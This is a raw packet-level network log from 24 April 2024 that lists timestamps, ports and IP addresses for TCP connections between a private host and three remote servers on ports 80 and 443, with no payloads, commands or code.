Apr 24, 2024 17:37:17.190975904 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.191385984 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.191441059 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.191474915 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.191514015 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.191829920 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.191874027 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.192029953 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.192066908 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.194442034 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.195406914 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.195475101 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.195815086 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.195867062 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.195883036 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.195921898 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.201328993 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.201548100 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.201837063 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.201889992 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.202308893 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.202353954 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.202814102 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.202863932 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.203303099 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.203327894 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.203351021 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.203377962 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.210191965 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.210302114 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.210376978 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.210577965 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.210618973 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.210680962 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.210721016 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.211040974 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.211091042 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.211124897 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.211184025 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.211205006 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.211245060 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.211301088 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.211334944 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.211599112 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.211641073 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.211642027 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.211682081 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.211885929 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.211934090 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.212040901 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.212081909 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.212095022 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.212136030 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.212245941 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.212311029 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.212527037 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.212568998 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.212779999 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.212826014 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.213000059 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.213038921 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.213262081 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.213309050 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.213526011 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.213582993 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.213635921 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.213730097 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.213778973 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.214113951 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.214159012 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.214276075 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.214312077 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.214533091 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.214577913 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.214580059 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.214612007 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.214786053 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.214827061 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.214840889 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.214869022 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.215043068 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.215090990 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.215353966 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.215394974 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.215527058 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.215565920 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.215622902 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.215662003 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.215779066 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.215823889 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.216108084 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.216139078 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.216160059 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.216181040 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.216552973 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.216603041 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.216670036 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.216708899 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.216814041 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.216854095 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.217025042 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.217062950 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.217072010 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.217108011 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.217365980 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.217410088 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.217411995 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.217449903 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.217536926 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.217603922 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.217642069 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.217992067 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.218040943 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.218055010 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.218101978 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.218380928 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.218427896 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.218429089 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.218465090 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.218492985 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.218530893 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.218756914 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.218805075 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.218805075 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.218839884 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.218908072 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.218946934 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.219072104 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.219115973 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.219145060 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.219185114 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.219309092 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.219347000 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.219355106 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.219387054 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.219540119 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.219582081 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.219583988 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.219615936 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.219798088 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.219856024 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.220093966 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.220129013 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.220333099 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.220369101 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.220379114 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.220403910 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.220443964 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.220489979 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.220518112 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.220550060 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.220791101 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.220839977 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.221323013 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.221350908 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.221374035 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.221394062 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.221894026 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.221939087 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.221990108 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.222282887 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.222326994 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.222771883 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.222817898 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.223294020 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.223341942 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.223738909 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.223782063 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.223786116 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.223823071 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.224347115 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.224374056 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.224392891 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.224410057 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.758848906 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:17.758970022 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:18.432122946 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:18.437347889 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:18.437365055 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:18.437752962 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:18.437802076 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:18.438307047 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:18.484117031 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:18.731447935 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:19.082691908 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:19.082762957 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:19.082773924 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:19.082892895 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:19.082952023 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:19.102700949 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:19.102716923 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:19.550909996 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:19.550935030 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:19.551031113 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:19.734055996 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:19.734087944 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:19.734167099 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:19.734420061 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:19.734438896 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:19.765191078 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:19.765208960 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:20.097932100 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:20.098004103 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:20.114075899 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:20.114090919 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:20.114389896 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:20.114454031 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:20.115955114 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:20.156156063 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:20.388119936 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:20.391661882 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:20.392118931 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:20.392127037 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:20.394479036 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:20.394484997 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:20.909380913 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:20.909456015 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:20.909467936 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:20.909475088 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:20.909533978 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:20.914427042 CEST	49714	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:20.914448977 CEST	443	49714	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:21.447525024 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:21.447581053 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:21.447588921 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:21.447599888 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:21.447704077 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:21.447704077 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:21.447796106 CEST	49715	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:21.447813034 CEST	443	49715	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:21.550786018 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:21.550832033 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:21.550887108 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:21.553265095 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:21.553278923 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:22.215199947 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:22.215279102 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:22.216963053 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:22.216974974 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:22.221981049 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:22.221990108 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.270327091 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.270385027 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.270399094 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.270425081 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.270466089 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.270473957 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.270513058 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.270535946 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.270642996 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.270648956 CEST	443	49718	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.270658970 CEST	49718	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.303215027 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.303236961 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.303400040 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.305238008 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.305253029 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.966396093 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.966468096 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.967039108 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.967046976 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:23.968808889 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:23.968816042 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.026212931 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.026274920 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.026305914 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.026319027 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.026352882 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.026352882 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.026370049 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.026424885 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.026485920 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.026537895 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.033011913 CEST	49720	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.033035994 CEST	443	49720	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.191427946 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.191450119 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.191581964 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.196816921 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.196832895 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.853764057 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.853842974 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.856415987 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.856425047 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.859214067 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.859220028 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:25.859292030 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:25.859299898 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:26.655332088 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:26.655366898 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:26.655483007 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:26.655793905 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:26.655807972 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:26.990741014 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:26.990830898 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:26.990896940 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:26.990896940 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:26.992722988 CEST	49721	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:26.992738962 CEST	443	49721	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:27.312056065 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:27.312202930 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:27.312633038 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:27.312644958 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:27.366734028 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:27.366748095 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.336363077 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.336386919 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.336401939 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.336529016 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.336540937 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.336596966 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.485346079 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.485373974 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.485440016 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.485440016 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.485455990 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.485641003 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.707693100 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.707720041 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.707798958 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.707798958 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.707813978 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.707876921 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.852834940 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.852863073 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.852932930 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.852933884 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.852951050 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.853307009 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.969261885 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.969286919 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:28.969347000 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.969361067 CEST	443	49722	95.217.9.149	192.168.2.8
